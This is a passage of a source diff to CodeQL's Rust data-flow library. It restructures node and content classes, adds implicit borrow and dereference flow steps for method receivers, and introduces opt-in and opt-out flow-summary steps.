-  override Location getLocation() { result instanceof EmptyLocation }
-}
-
-/**
- * An element in a collection where we do not track the specific collection
- * type nor the placement of the element in the collection. Therefore the
- * collection should be one where the elements are reasonably homogeneous,
- * i.e., if one is tainted all elements are considered tainted.
- *
- * Examples include the elements of a set, array, vector, or stack.
- */
-final class ElementContent extends Content, TElementContent {
-  override string toString() { result = "element" }
-
-  override Location getLocation() { result instanceof EmptyLocation }
-}
-
-/**
- * A value that a future resolves to.
- */
-final class FutureContent extends Content, TFutureContent {
-  override string toString() { result = "future" }
-
-  override Location getLocation() { result instanceof EmptyLocation }
-}
-
-/**
- * Content stored at a position in a tuple.
- *
- * NOTE: Unlike `struct`s and `enum`s tuples are structural and not nominal,
- * hence we don't store a canonical path for them.
- */
-final class TuplePositionContent extends FieldContent, TTuplePositionContent {
-  private int pos;
-
-  TuplePositionContent() { this = TTuplePositionContent(pos) }
-
-  int getPosition() { result = pos }
-
-  override FieldExprCfgNode getAnAccess() {
-    // TODO: limit to tuple types
-    result.getNameRef().getText().toInt() = pos
-  }
-
-  override string toString() { result = "tuple." + pos.toString() }
-
-  override Location getLocation() { result instanceof EmptyLocation }
-}
-
-/**
- * A content for the index of an argument to at function call.
- *
- * Used by the model generator to create flow summaries for higher-order
- * functions.
- */
-final class FunctionCallArgumentContent extends Content, TFunctionCallArgumentContent {
-  private int pos;
-
-  FunctionCallArgumentContent() { this = TFunctionCallArgumentContent(pos) }
-
-  int getPosition() { result = pos }
-
-  override string toString() { result = "function argument at " + pos }
-
-  override Location getLocation() { result instanceof EmptyLocation }
-}
-
-/**
- * A content for the return value of function call.
- *
- * Used by the model generator to create flow summaries for higher-order
- * functions.
- */
-final class FunctionCallReturnContent extends Content, TFunctionCallReturnContent {
-  override string toString() { result = "function return" }
-
-  override Location getLocation() { result instanceof EmptyLocation }
-}
-
-/** A value that represents a set of `Content`s. */
-abstract class ContentSet extends TContentSet {
-  /** Gets a textual representation of this element. */
-  abstract string toString();
-
-  /** Gets a content that may be stored into when storing into this set. */
-  abstract Content getAStoreContent();
-
-  /** Gets a content that may be read from when reading from this set. */
-  abstract Content getAReadContent();
-}
-
-final class SingletonContentSet extends ContentSet, TSingletonContentSet {
-  private Content c;
-
-  SingletonContentSet() { this = TSingletonContentSet(c) }
-
-  Content getContent() { result = c }
-
-  override string toString() { result = c.toString() }
-
-  override Content getAStoreContent() { result = c }
-
-  override Content getAReadContent() { result = c }
-}
-
 class LambdaCallKind = Unit;
 
 /** Holds if `creation` is an expression that creates a lambda of kind `kind`. */
-private predicate lambdaCreationExpr(Expr creation, LambdaCallKind kind) {
+predicate lambdaCreationExpr(Expr creation, LambdaCallKind kind) {
   (
     creation instanceof ClosureExpr
     or
@@ -1009,6 +451,23 @@ predicate lambdaCallExpr(CallExprCfgNode call, LambdaCallKind kind, ExprCfgNode
   exists(kind)
 }
 
+/** Holds if `mc` implicitly borrows its receiver. */
+private predicate implicitBorrow(MethodCallExpr mc) {
+  // Determining whether an implicit borrow happens depends on the type of the
+  // receiever as well as the target. As a heuristic we simply check if the
+  // target takes `self` as a borrow and limit the approximation to cases where
+  // the receiver is a simple variable.
+  mc.getReceiver() instanceof VariableAccess and
+  mc.getStaticTarget().getParamList().getSelfParam().isRef()
+}
+
+/** Holds if `mc` implicitly dereferences its receiver. */
+private predicate implicitDeref(MethodCallExpr mc) {
+  // Similarly to `implicitBorrow` this is an approximation.
+  mc.getReceiver() instanceof VariableAccess and
+  not mc.getStaticTarget().getParamList().getSelfParam().isRef()
+}
+
 // Defines a set of aliases needed for the `RustDataFlow` module
 private module Aliases {
   class DataFlowCallableAlias = DataFlowCallable;
@@ -1019,6 +478,8 @@ private module Aliases {
 
   class ParameterPositionAlias = ParameterPosition;
 
+  class ArgumentPositionAlias = ArgumentPosition;
+
   class ContentAlias = Content;
 
   class ContentSetAlias = ContentSet;
@@ -1029,6 +490,7 @@ private module Aliases {
 module RustDataFlow implements InputSig<Location> {
   private import Aliases
   private import codeql.rust.dataflow.DataFlow
+  private import Node as Node
 
   /**
    * An element, viewed as a node in a data flow graph. Either an expression
@@ -1046,7 +508,7 @@ module RustDataFlow implements InputSig<Location> {
 
   class PostUpdateNode = DataFlow::PostUpdateNode;
 
-  final class CastNode = Node::NaNode;
+  final class CastNode = Node::CastNode;
 
   /** Holds if `p` is a parameter of `c` at the position `pos`. */
   predicate isParameterNode(ParameterNode p, DataFlowCallable c, ParameterPosition pos) {
@@ -1065,13 +527,12 @@ module RustDataFlow implements InputSig<Location> {
   DataFlowType getNodeType(Node node) { any() }
 
   predicate nodeIsHidden(Node node) {
-    node instanceof Node::SsaNode
-    or
-    node.(Node::FlowSummaryNode).getSummaryNode().isHidden()
-    or
-    node instanceof Node::CaptureNode
-    or
-    node instanceof Node::ClosureParameterNode
+    node instanceof SsaNode or
+    node.(FlowSummaryNode).getSummaryNode().isHidden() or
+    node instanceof CaptureNode or
+    node instanceof ClosureParameterNode or
+    node instanceof ReceiverNode or
+    node instanceof ReceiverPostUpdateNode
   }
 
   predicate neverSkipInPathGraph(Node node) {
@@ -1137,7 +598,7 @@ module RustDataFlow implements InputSig<Location> {
 
   class ParameterPosition = ParameterPositionAlias;
 
-  class ArgumentPosition = ParameterPosition;
+  class ArgumentPosition = ArgumentPositionAlias;
 
   /**
    * Holds if the parameter position `ppos` matches the argument position
@@ -1153,9 +614,9 @@ module RustDataFlow implements InputSig<Location> {
     (
       LocalFlow::localFlowStepCommon(nodeFrom, nodeTo)
       or
-      exists(SsaImpl::DefinitionExt def, boolean isUseStep |
-        SsaFlow::localFlowStep(def, nodeFrom, nodeTo, isUseStep) and
-        not def instanceof VariableCapture::CapturedSsaDefinitionExt
+      exists(SsaImpl::SsaInput::SourceVariable v, boolean isUseStep |
+        SsaFlow::localFlowStep(v, nodeFrom, nodeTo, isUseStep) and
+        not v instanceof VariableCapture::CapturedVariable
       |
         isUseStep = false
         or
@@ -1168,6 +629,12 @@ module RustDataFlow implements InputSig<Location> {
     model = ""
     or
     LocalFlow::flowSummaryLocalStep(nodeFrom, nodeTo, model)
+    or
+    // Add flow through optional barriers. This step is then blocked by the barrier for queries that choose to use the barrier.
+    FlowSummaryImpl::Private::Steps::summaryReadStep(nodeFrom
+          .(Node::FlowSummaryNode)
+          .getSummaryNode(), TOptionalBarrier(_), nodeTo.(Node::FlowSummaryNode).getSummaryNode()) and
+    model = ""
   }
 
   /**
@@ -1176,8 +643,28 @@ module RustDataFlow implements InputSig<Location> {
    * variable.
    */
   predicate jumpStep(Node node1, Node node2) {
-    FlowSummaryImpl::Private::Steps::summaryJumpStep(node1.(Node::FlowSummaryNode).getSummaryNode(),
-      node2.(Node::FlowSummaryNode).getSummaryNode())
+    FlowSummaryImpl::Private::Steps::summaryJumpStep(node1.(FlowSummaryNode).getSummaryNode(),
+      node2.(FlowSummaryNode).getSummaryNode())
+  }
+
+  pragma[nomagic]
+  private predicate implicitDerefToReceiver(Node node1, ReceiverNode node2, ReferenceContent c) {
+    node1.asExpr() = node2.getReceiver() and
+    implicitDeref(node2.getMethodCall().getMethodCallExpr()) and
+    exists(c)
+  }
+
+  pragma[nomagic]
+  private predicate implicitBorrowToReceiver(Node node1, ReceiverNode node2, ReferenceContent c) {
+    node1.asExpr() = node2.getReceiver() and
+    implicitBorrow(node2.getMethodCall().getMethodCallExpr()) and
+    exists(c)
+  }
+
+  pragma[nomagic]
+  private predicate referenceExprToExpr(Node node1, Node node2, ReferenceContent c) {
+    node1.asExpr() = node2.asExpr().(RefExprCfgNode).getExpr() and
+    exists(c)
   }
 
   /**
@@ -1202,9 +689,9 @@ module RustDataFlow implements InputSig<Location> {
         node2.asPat() = pat.getField(pos)
       )
       or
-      exists(RecordPatCfgNode pat, string field |
+      exists(StructPatCfgNode pat, string field |
         pat = node1.asPat() and
-        c = TRecordFieldContent(pat.getRecordPat().getRecordField(field)) and
+        c = TStructFieldContent(pat.getStructPat().getStructField(field)) and
         node2.asPat() = pat.getFieldPat(field)
       )
       or
@@ -1212,7 +699,7 @@ module RustDataFlow implements InputSig<Location> {
       node1.asPat().(RefPatCfgNode).getPat() = node2.asPat()
       or
       exists(FieldExprCfgNode access |
-        node1.asExpr() = access.getExpr() and
+        node1.asExpr() = access.getContainer() and
         node2.asExpr() = access and
         access = c.(FieldContent).getAnAccess()
       )
@@ -1262,11 +749,32 @@ module RustDataFlow implements InputSig<Location> {
         node2.asExpr() = await
       )
       or
+      referenceExprToExpr(node2.(PostUpdateNode).getPreUpdateNode(),
+        node1.(PostUpdateNode).getPreUpdateNode(), c)
+      or
+      // Step from receiver expression to receiver node, in case of an implicit
+      // dereference.
+      implicitDerefToReceiver(node1, node2, c)
+      or
+      // A read step dual to the store step for implicit borrows.
+      implicitBorrowToReceiver(node2.(PostUpdateNode).getPreUpdateNode(),
+        node1.(PostUpdateNode).getPreUpdateNode(), c)
+      or
       VariableCapture::readStep(node1, c, node2)
     )
     or
-    FlowSummaryImpl::Private::Steps::summaryReadStep(node1.(Node::FlowSummaryNode).getSummaryNode(),
-      cs, node2.(Node::FlowSummaryNode).getSummaryNode())
+    FlowSummaryImpl::Private::Steps::summaryReadStep(node1.(FlowSummaryNode).getSummaryNode(), cs,
+      node2.(FlowSummaryNode).getSummaryNode()) and
+    not isSpecialContentSet(cs)
+  }
+
+  /**
+   * Holds if `cs` is used to encode a special operation as a content component, but should not
+   * be treated as an ordinary content component.
+   */
+  private predicate isSpecialContentSet(ContentSet cs) {
+    cs instanceof TOptionalStep or
+    cs instanceof TOptionalBarrier
   }
 
   pragma[nomagic]
@@ -1274,7 +782,7 @@ module RustDataFlow implements InputSig<Location> {
     exists(AssignmentExprCfgNode assignment, FieldExprCfgNode access |
       assignment.getLhs() = access and
       node1.asExpr() = assignment.getRhs() and
-      node2.asExpr() = access.getExpr() and
+      node2.asExpr() = access.getContainer() and
       access = c.getAnAccess()
     )
   }
@@ -1301,8 +809,8 @@ module RustDataFlow implements InputSig<Location> {
       VariantInLib::tupleVariantCanonicalConstruction(call.getCallExpr(), c, pos)
     )
     or
-    exists(RecordExprCfgNode re, string field |
-      c = TRecordFieldContent(re.getRecordExpr().getRecordField(field)) and
+    exists(StructExprCfgNode re, string field |
+      c = TStructFieldContent(re.getStructExpr().getStructField(field)) and
       node1.asExpr() = re.getFieldExpr(field) and
       node2.asExpr() = re
     )
@@ -1324,7 +832,7 @@ module RustDataFlow implements InputSig<Location> {
       c instanceof ReferenceContent and
       p.isRef() and
       node1.asPat() = p and
-      node2.(Node::NameNode).asName() = p.getName()
+      node2.(NameNode).asName() = p.getName()
     )
     or
     fieldAssignment(node1, node2.(PostUpdateNode).getPreUpdateNode(), c)
@@ -1338,11 +846,7 @@ module RustDataFlow implements InputSig<Location> {
       node2.(PostUpdateNode).getPreUpdateNode().asExpr() = index.getBase()
     )
     or
-    exists(RefExprCfgNode ref |
-      c instanceof ReferenceContent and
-      node1.asExpr() = ref.getExpr() and
-      node2.asExpr() = ref
-    )
+    referenceExprToExpr(node1, node2, c)
     or
     // Store in function argument
     exists(DataFlowCall call, int i |
@@ -1352,6 +856,10 @@ module RustDataFlow implements InputSig<Location> {
     )
     or
     VariableCapture::storeStep(node1, c, node2)
+    or
+    // Step from receiver expression to receiver node, in case of an implicit
+    // borrow.
+    implicitBorrowToReceiver(node1, node2, c)
   }
 
   /**
@@ -1362,8 +870,9 @@ module RustDataFlow implements InputSig<Location> {
   predicate storeStep(Node node1, ContentSet cs, Node node2) {
     storeContentStep(node1, cs.(SingletonContentSet).getContent(), node2)
     or
-    FlowSummaryImpl::Private::Steps::summaryStoreStep(node1.(Node::FlowSummaryNode).getSummaryNode(),
-      cs, node2.(Node::FlowSummaryNode).getSummaryNode())
+    FlowSummaryImpl::Private::Steps::summaryStoreStep(node1.(FlowSummaryNode).getSummaryNode(), cs,
+      node2.(FlowSummaryNode).getSummaryNode()) and
+    not isSpecialContentSet(cs)
   }
 
   /**
@@ -1376,8 +885,7 @@ module RustDataFlow implements InputSig<Location> {
     or
     referenceAssignment(_, n, cs.(SingletonContentSet).getContent())
     or
-    FlowSummaryImpl::Private::Steps::summaryClearsContent(n.(Node::FlowSummaryNode).getSummaryNode(),
-      cs)
+    FlowSummaryImpl::Private::Steps::summaryClearsContent(n.(FlowSummaryNode).getSummaryNode(), cs)
     or
     VariableCapture::clearsContent(n, cs.(SingletonContentSet).getContent())
   }
@@ -1387,8 +895,7 @@ module RustDataFlow implements InputSig<Location> {
    * at node `n`.
    */
   predicate expectsContent(Node n, ContentSet cs) {
-    FlowSummaryImpl::Private::Steps::summaryExpectsContent(n.(Node::FlowSummaryNode)
-          .getSummaryNode(), cs)
+    FlowSummaryImpl::Private::Steps::summaryExpectsContent(n.(FlowSummaryNode).getSummaryNode(), cs)
   }
 
   class NodeRegion instanceof Void {
@@ -1419,7 +926,7 @@ module RustDataFlow implements InputSig<Location> {
       FlowSummaryImpl::Private::summaryAllowParameterReturnInSelf(c.asLibraryCallable(), pos)
     )
     or
-    VariableCapture::Flow::heuristicAllowInstanceParameterReturnInSelf(p.(Node::ClosureParameterNode)
+    VariableCapture::Flow::heuristicAllowInstanceParameterReturnInSelf(p.(ClosureParameterNode)
           .getCfgScope())
   }
 
@@ -1433,11 +940,11 @@ module RustDataFlow implements InputSig<Location> {
    * must also apply to `node1`.
    */
   predicate localMustFlowStep(Node node1, Node node2) {
-    SsaFlow::localMustFlowStep(_, node1, node2)
+    SsaFlow::localMustFlowStep(node1, node2)
     or
     FlowSummaryImpl::Private::Steps::summaryLocalMustFlowStep(node1
-          .(Node::FlowSummaryNode)
-          .getSummaryNode(), node2.(Node::FlowSummaryNode).getSummaryNode())
+          .(FlowSummaryNode)
+          .getSummaryNode(), node2.(FlowSummaryNode).getSummaryNode())
   }
 
   /** Holds if `creation` is an expression that creates a lambda of kind `kind` for `c`. */
@@ -1459,7 +966,7 @@ module RustDataFlow implements InputSig<Location> {
         f instanceof PathExpr implies f = any(Variable v).getAnAccess()
       )
       or
-      call.isSummaryCall(_, receiver.(Node::FlowSummaryNode).getSummaryNode())
+      call.isSummaryCall(_, receiver.(FlowSummaryNode).getSummaryNode())
     ) and
     exists(kind)
   }
@@ -1468,12 +975,10 @@ module RustDataFlow implements InputSig<Location> {
   predicate additionalLambdaFlowStep(Node nodeFrom, Node nodeTo, boolean preservesValue) { none() }
 
   predicate knownSourceModel(Node source, string model) {
-    source.(Node::FlowSummaryNode).isSource(_, model)
+    source.(FlowSummaryNode).isSource(_, model)
   }
 
-  predicate knownSinkModel(Node sink, string model) {
-    sink.(Node::FlowSummaryNode).isSink(_, model)
-  }
+  predicate knownSinkModel(Node sink, string model) { sink.(FlowSummaryNode).isSink(_, model) }
 
   class DataFlowSecondLevelScope = Void;
 }
@@ -1519,7 +1024,7 @@ module VariableCapture {
 
       CapturedParameter() { p = this.getParameter() }
 
-      Node::SourceParameterNode getParameterNode() { result.getParameter().getParamBase() = p }
+      SourceParameterNode getParameterNode() { result.getParameter().getParamBase() = p }
     }
 
     class Expr extends CfgNode {
@@ -1578,18 +1083,17 @@ module VariableCapture {
   module Flow = SharedVariableCapture::Flow<Location, CaptureInput>;
 
   private Flow::ClosureNode asClosureNode(Node n) {
-    result = n.(Node::CaptureNode).getSynthesizedCaptureNode()
+    result = n.(CaptureNode).getSynthesizedCaptureNode()
     or
     result.(Flow::ExprNode).getExpr() = n.asExpr()
     or
     result.(Flow::VariableWriteSourceNode).getVariableWrite().getSource() = n.asExpr()
     or
-    result.(Flow::ExprPostUpdateNode).getExpr() =
-      n.(Node::PostUpdateNode).getPreUpdateNode().asExpr()
+    result.(Flow::ExprPostUpdateNode).getExpr() = n.(PostUpdateNode).getPreUpdateNode().asExpr()
     or
     result.(Flow::ParameterNode).getParameter().getParameterNode() = n
     or
-    result.(Flow::ThisParameterNode).getCallable() = n.(Node::ClosureParameterNode).getCfgScope()
+    result.(Flow::ThisParameterNode).getCallable() = n.(ClosureParameterNode).getCfgScope()
   }
 
   predicate storeStep(Node node1, CapturedVariableContent c, Node node2) {
@@ -1607,10 +1111,6 @@ module VariableCapture {
   predicate clearsContent(Node node, CapturedVariableContent c) {
     Flow::clearsContent(asClosureNode(node), c.getVariable())
   }
-
-  class CapturedSsaDefinitionExt extends SsaImpl::DefinitionExt {
-    CapturedSsaDefinitionExt() { this.getSourceVariable() instanceof CapturedVariable }
-  }
 }
 
 import MakeImpl<Location, RustDataFlow>
@@ -1620,32 +1120,9 @@ cached
 private module Cached {
   private import codeql.rust.internal.CachedStages
 
-  cached
-  newtype TNode =
-    TExprNode(ExprCfgNode n) { Stages::DataFlowStage::ref() } or
-    TSourceParameterNode(ParamBaseCfgNode p) or
-    TPatNode(PatCfgNode p) or
-    TNameNode(NameCfgNode n) { n.getName() = any(Variable v).getName() } or
-    TExprPostUpdateNode(ExprCfgNode e) {
-      isArgumentForCall(e, _, _) or
-      lambdaCallExpr(_, _, e) or
-      lambdaCreationExpr(e.getExpr(), _) or
-      e =
-        [
-          any(IndexExprCfgNode i).getBase(), any(FieldExprCfgNode access).getExpr(),
-          any(TryExprCfgNode try).getExpr(),
-          any(PrefixExprCfgNode pe | pe.getOperatorName() = "*").getExpr(),
-          any(AwaitExprCfgNode a).getExpr()
-        ]
-    } or
-    TSsaNode(SsaImpl::DataFlowIntegration::SsaNode node) or
-    TFlowSummaryNode(FlowSummaryImpl::Private::SummaryNode sn) or
-    TClosureSelfReferenceNode(CfgScope c) { lambdaCreationExpr(c, _) } or
-    TCaptureNode(VariableCapture::Flow::SynthesizedCaptureNode cn)
-
   cached
   newtype TDataFlowCall =
-    TCall(CallExprBaseCfgNode c) or
+    TCall(CallExprBaseCfgNode c) { Stages::DataFlowStage::ref() } or
     TSummaryCall(
       FlowSummaryImpl::Public::SummarizedCallable c, FlowSummaryImpl::Private::SummaryNode receiver
     ) {
@@ -1659,7 +1136,7 @@ private module Cached {
 
   /** This is the local flow predicate that is exposed. */
   cached
-  predicate localFlowStepImpl(Node::Node nodeFrom, Node::Node nodeTo) {
+  predicate localFlowStepImpl(Node nodeFrom, Node nodeTo) {
     LocalFlow::localFlowStepCommon(nodeFrom, nodeTo)
     or
     SsaFlow::localFlowStep(_, nodeFrom, nodeTo, _)
@@ -1685,37 +1162,43 @@ private module Cached {
   newtype TReturnKind = TNormalReturnKind()
 
   cached
-  newtype TContent =
-    TTupleFieldContent(TupleField field) or
-    TRecordFieldContent(RecordField field) or
-    // TODO: Remove once library types are extracted
-    TVariantInLibTupleFieldContent(VariantInLib::VariantInLib v, int pos) { pos = v.getAPosition() } or
-    TElementContent() or
-    TFutureContent() or
-    TTuplePositionContent(int pos) {
-      pos in [0 .. max([
-                any(TuplePat pat).getNumberOfFields(),
-                any(FieldExpr access).getNameRef().getText().toInt()
-              ]
-          )]
-    } or
-    TFunctionCallReturnContent() or
-    TFunctionCallArgumentContent(int pos) {
-      pos in [0 .. any(CallExpr c).getArgList().getNumberOfArgs() - 1]
+  newtype TContentSet =
+    TSingletonContentSet(Content c) or
+    TOptionalStep(string name) {
+      name = any(FlowSummaryImpl::Private::AccessPathToken tok).getAnArgument("OptionalStep")
     } or
-    TCapturedVariableContent(VariableCapture::CapturedVariable v) or
-    TReferenceContent()
-
-  cached
-  newtype TContentSet = TSingletonContentSet(Content c)
+    TOptionalBarrier(string name) {
+      name = any(FlowSummaryImpl::Private::AccessPathToken tok).getAnArgument("OptionalBarrier")
+    }
 
   /** Holds if `n` is a flow source of kind `kind`. */
   cached
-  predicate sourceNode(Node n, string kind) { n.(Node::FlowSummaryNode).isSource(kind, _) }
+  predicate sourceNode(Node n, string kind) { n.(FlowSummaryNode).isSource(kind, _) }
 
   /** Holds if `n` is a flow sink of kind `kind`. */
   cached
-  predicate sinkNode(Node n, string kind) { n.(Node::FlowSummaryNode).isSink(kind, _) }
+  predicate sinkNode(Node n, string kind) { n.(FlowSummaryNode).isSink(kind, _) }
+
+  /**
+   * A step in a flow summary defined using `OptionalStep[name]`. An `OptionalStep` is "opt-in", which means
+   * that by default the step is not present in the flow summary and needs to be explicitly enabled by defining
+   * an additional flow step.
+   */
+  cached
+  predicate optionalStep(Node node1, string name, Node node2) {
+    FlowSummaryImpl::Private::Steps::summaryReadStep(node1.(FlowSummaryNode).getSummaryNode(),
+      TOptionalStep(name), node2.(FlowSummaryNode).getSummaryNode())
+  }
+
+  /**
+   * A step in a flow summary defined using `OptionalBarrier[name]`. An `OptionalBarrier` is "opt-out", by default
+   * data can flow freely through the step. Flow through the step can be explicity blocked by defining its node as a barrier.
+   */
+  cached
+  predicate optionalBarrier(Node node, string name) {
+    FlowSummaryImpl::Private::Steps::summaryReadStep(_, TOptionalBarrier(name),
+      node.(FlowSummaryNode).getSummaryNode())
+  }
 }
 
 import Cached
diff --git a/rust/ql/lib/codeql/rust/dataflow/internal/FlowSummaryImpl.qll b/rust/ql/lib/codeql/rust/dataflow/internal/FlowSummaryImpl.qll
index 0fd457a80d56..e1cf87397b91 100644
--- a/rust/ql/lib/codeql/rust/dataflow/internal/FlowSummaryImpl.qll
+++ b/rust/ql/lib/codeql/rust/dataflow/internal/FlowSummaryImpl.qll
@@ -7,6 +7,7 @@ private import codeql.dataflow.internal.FlowSummaryImpl
 private import codeql.dataflow.internal.AccessPathSyntax as AccessPath
 private import codeql.rust.dataflow.internal.DataFlowImpl
 private import codeql.rust.dataflow.FlowSummary
+private import Content
 
 module Input implements InputSig<Location, RustDataFlow> {
   private import codeql.rust.elements.internal.CallExprBaseImpl::Impl as CallExprBaseImpl
@@ -46,7 +47,7 @@ module Input implements InputSig<Location, RustDataFlow> {
   private class MethodCallExprNameRef extends SourceBase, SinkBase {
     private MethodCallExpr call;
 
-    MethodCallExprNameRef() { this = call.getNameRef() }
+    MethodCallExprNameRef() { this = call.getIdentifier() }
 
     override MethodCallExpr getCall() { result = call }
   }
@@ -57,7 +58,9 @@ module Input implements InputSig<Location, RustDataFlow> {
 
   string encodeParameterPosition(ParameterPosition pos) { result = pos.toString() }
 
-  predicate encodeArgumentPosition = encodeParameterPosition/1;
+  string encodeArgumentPosition(RustDataFlow::ArgumentPosition pos) {
+    result = encodeParameterPosition(pos)
+  }
 
   string encodeContent(ContentSet cs, string arg) {
     exists(Content c | cs = TSingletonContentSet(c) |
@@ -76,9 +79,9 @@ module Input implements InputSig<Location, RustDataFlow> {
           // TODO: calculate in QL
           arg = a.getExtendedCanonicalPath() + "::" + field
         |
-          c.(RecordFieldContent).isStructField(a, field)
+          c.(StructFieldContent).isStructField(a, field)
           or
-          c.(RecordFieldContent).isVariantField(a, field)
+          c.(StructFieldContent).isVariantField(a, field)
         )
         or
         c =
@@ -104,6 +107,10 @@ module Input implements InputSig<Location, RustDataFlow> {
       c = TFutureContent() and
       arg = ""
     )
+    or
+    cs = TOptionalStep(arg) and result = "OptionalStep"
+    or
+    cs = TOptionalBarrier(arg) and result = "OptionalBarrier"
   }
 
   string encodeReturn(ReturnKind rk, string arg) { none() }
@@ -145,17 +152,21 @@ private module StepsInput implements Impl::Private::StepsInputSig {
   RustDataFlow::Node getSourceNode(Input::SourceBase source, Impl::Private::SummaryComponent sc) {
     sc = Impl::Private::SummaryComponent::return(_) and
     result.asExpr().getExpr() = source.getCall()
+    or
+    exists(CallExprBase call, Expr arg, ArgumentPosition pos |
+      result.(RustDataFlow::PostUpdateNode).getPreUpdateNode().asExpr().getExpr() = arg and
+      sc = Impl::Private::SummaryComponent::argument(pos) and
+      call = source.getCall() and
+      arg = pos.getArgument(call)
+    )
   }
 
   RustDataFlow::Node getSinkNode(Input::SinkBase sink, Impl::Private::SummaryComponent sc) {
-    exists(CallExprBase call, Expr arg, ParameterPosition pos |
+    exists(CallExprBase call, Expr arg, ArgumentPosition pos |
       result.asExpr().getExpr() = arg and
       sc = Impl::Private::SummaryComponent::argument(pos) and
-      call = sink.getCall()
-    |
-      arg = call.getArgList().getArg(pos.getPosition())
-      or
-      arg = call.(MethodCallExpr).getReceiver() and pos.isSelf()
+      call = sink.getCall() and
+      arg = pos.getArgument(call)
     )
   }
 }
diff --git a/rust/ql/lib/codeql/rust/dataflow/internal/Node.qll b/rust/ql/lib/codeql/rust/dataflow/internal/Node.qll
new file mode 100644
index 000000000000..67782f0b7e00
--- /dev/null
+++ b/rust/ql/lib/codeql/rust/dataflow/internal/Node.qll
@@ -0,0 +1,478 @@
+/**
+ * Provides the `Node` class and subclasses thereof.
+ *
+ * Classes with names ending in `Public` are exposed as `final` aliases in the
+ * public `DataFlow` API, so they should not expose internal implementation details.
+ */
+
+private import codeql.util.Boolean
+private import codeql.dataflow.DataFlow
+private import codeql.dataflow.internal.DataFlowImpl
+private import rust
+private import SsaImpl as SsaImpl
+private import codeql.rust.controlflow.ControlFlowGraph
+private import codeql.rust.controlflow.CfgNodes
+private import codeql.rust.dataflow.Ssa
+private import codeql.rust.dataflow.FlowSummary
+private import Node as Node
+private import DataFlowImpl
+private import FlowSummaryImpl as FlowSummaryImpl
+
+/** An element, viewed as a node in a data flow graph. */
+abstract class NodePublic extends TNode {
+  /** Gets the location of this node. */
+  abstract Location getLocation();
+
+  /** Gets a textual representation of this node. */
+  abstract string toString();
+
+  /**
+   * Gets the expression that corresponds to this node, if any.
+   */
+  final ExprCfgNode asExpr() { this = TExprNode(result) }
+
+  /**
+   * Gets the parameter that corresponds to this node, if any.
+   */
+  ParamBase asParameter() { result = this.(SourceParameterNode).getParameter().getParamBase() }
+
+  /**
+   * Gets the pattern that corresponds to this node, if any.
+   */
+  final PatCfgNode asPat() { this = TPatNode(result) }
+}
+
+abstract class Node extends NodePublic {
+  /** Gets the enclosing callable. */
+  DataFlowCallable getEnclosingCallable() { result = TCfgScope(this.getCfgScope()) }
+
+  /** Do not call: use `getEnclosingCallable()` instead. */
+  abstract CfgScope getCfgScope();
+
+  /**
+   * Gets the control flow node that corresponds to this data flow node.
+   */
+  CfgNode getCfgNode() { none() }
+}
+
+/** A node type that is not implemented. */
+final class NaNode extends Node {
+  NaNode() { none() }
+
+  override CfgScope getCfgScope() { none() }
+
+  override string toString() { result = "N/A" }
+
+  override Location getLocation() { none() }
+}
+
+/** A data flow node used to model flow summaries. */
+class FlowSummaryNode extends Node, TFlowSummaryNode {
+  FlowSummaryImpl::Private::SummaryNode getSummaryNode() { this = TFlowSummaryNode(result) }
+
+  /** Gets the summarized callable that this node belongs to, if any. */
+  FlowSummaryImpl::Public::SummarizedCallable getSummarizedCallable() {
+    result = this.getSummaryNode().getSummarizedCallable()
+  }
+
+  /** Gets the AST source node that this node belongs to, if any */
+  FlowSummaryImpl::Public::SourceElement getSourceElement() {
+    result = this.getSummaryNode().getSourceElement()
+  }
+
+  /** Gets the AST sink node that this node belongs to, if any */
+  FlowSummaryImpl::Public::SinkElement getSinkElement() {
+    result = this.getSummaryNode().getSinkElement()
+  }
+
+  /** Holds is this node is a source node of kind `kind`. */
+  predicate isSource(string kind, string model) {
+    this.getSummaryNode().(FlowSummaryImpl::Private::SourceOutputNode).isEntry(kind, model)
+  }
+
+  /** Holds is this node is a sink node of kind `kind`. */
+  predicate isSink(string kind, string model) {
+    this.getSummaryNode().(FlowSummaryImpl::Private::SinkInputNode).isExit(kind, model)
+  }
+
+  override CfgScope getCfgScope() {
+    result = this.getSummaryNode().getSourceElement().getEnclosingCfgScope()
+    or
+    result = this.getSummaryNode().getSinkElement().getEnclosingCfgScope()
+  }
+
+  override DataFlowCallable getEnclosingCallable() {
+    result.asLibraryCallable() = this.getSummarizedCallable()
+    or
+    result.asCfgScope() = this.getCfgScope()
+  }
+
+  override Location getLocation() {
+    exists(this.getSummarizedCallable()) and
+    result instanceof EmptyLocation
+    or
+    result = this.getSourceElement().getLocation()
+    or
+    result = this.getSinkElement().getLocation()
+  }
+
+  override string toString() { result = this.getSummaryNode().toString() }
+}
+
+/** A data flow node that corresponds directly to a CFG node for an AST node. */
+abstract class AstCfgFlowNode extends Node {
+  AstCfgNode n;
+
+  final override CfgNode getCfgNode() { result = n }
+
+  final override CfgScope getCfgScope() { result = n.getAstNode().getEnclosingCfgScope() }
+
+  final override Location getLocation() { result = n.getAstNode().getLocation() }
+
+  final override string toString() { result = n.getAstNode().toString() }
+}
+
+/**
+ * A node in the data flow graph that corresponds to an expression in the
+ * AST.
+ *
+ * Note that because of control flow splitting, one `Expr` may correspond
+ * to multiple `ExprNode`s, just like it may correspond to multiple
+ * `ControlFlow::Node`s.
+ */
+class ExprNode extends AstCfgFlowNode, TExprNode {
+  override ExprCfgNode n;
+
+  ExprNode() { this = TExprNode(n) }
+}
+
+final class PatNode extends AstCfgFlowNode, TPatNode {
+  override PatCfgNode n;
+
+  PatNode() { this = TPatNode(n) }
+}
+
+/** A data flow node that corresponds to a name node in the CFG. */
+final class NameNode extends AstCfgFlowNode, TNameNode {
+  override NameCfgNode n;
+
+  NameNode() { this = TNameNode(n) }
+
+  NameCfgNode asName() { result = n }
+}
+
+/**
+ * The value of a parameter at function entry, viewed as a node in a data
+ * flow graph.
+ */
+abstract class ParameterNode extends Node {
+  /** Holds if this node is a parameter of `c` at position `pos`. */
+  abstract predicate isParameterOf(DataFlowCallable c, ParameterPosition pos);
+}
+
+final class SourceParameterNode extends AstCfgFlowNode, ParameterNode, TSourceParameterNode {
+  override ParamBaseCfgNode n;
+
+  SourceParameterNode() { this = TSourceParameterNode(n) }
+
+  override predicate isParameterOf(DataFlowCallable c, ParameterPosition pos) {
+    n.getAstNode() = pos.getParameterIn(c.asCfgScope().(Callable).getParamList())
+  }
+
+  /** Get the parameter position of this parameter. */
+  ParameterPosition getPosition() { this.isParameterOf(_, result) }
+
+  /** Gets the parameter in the CFG that this node corresponds to. */
+  ParamBaseCfgNode getParameter() { result = n }
+}
+
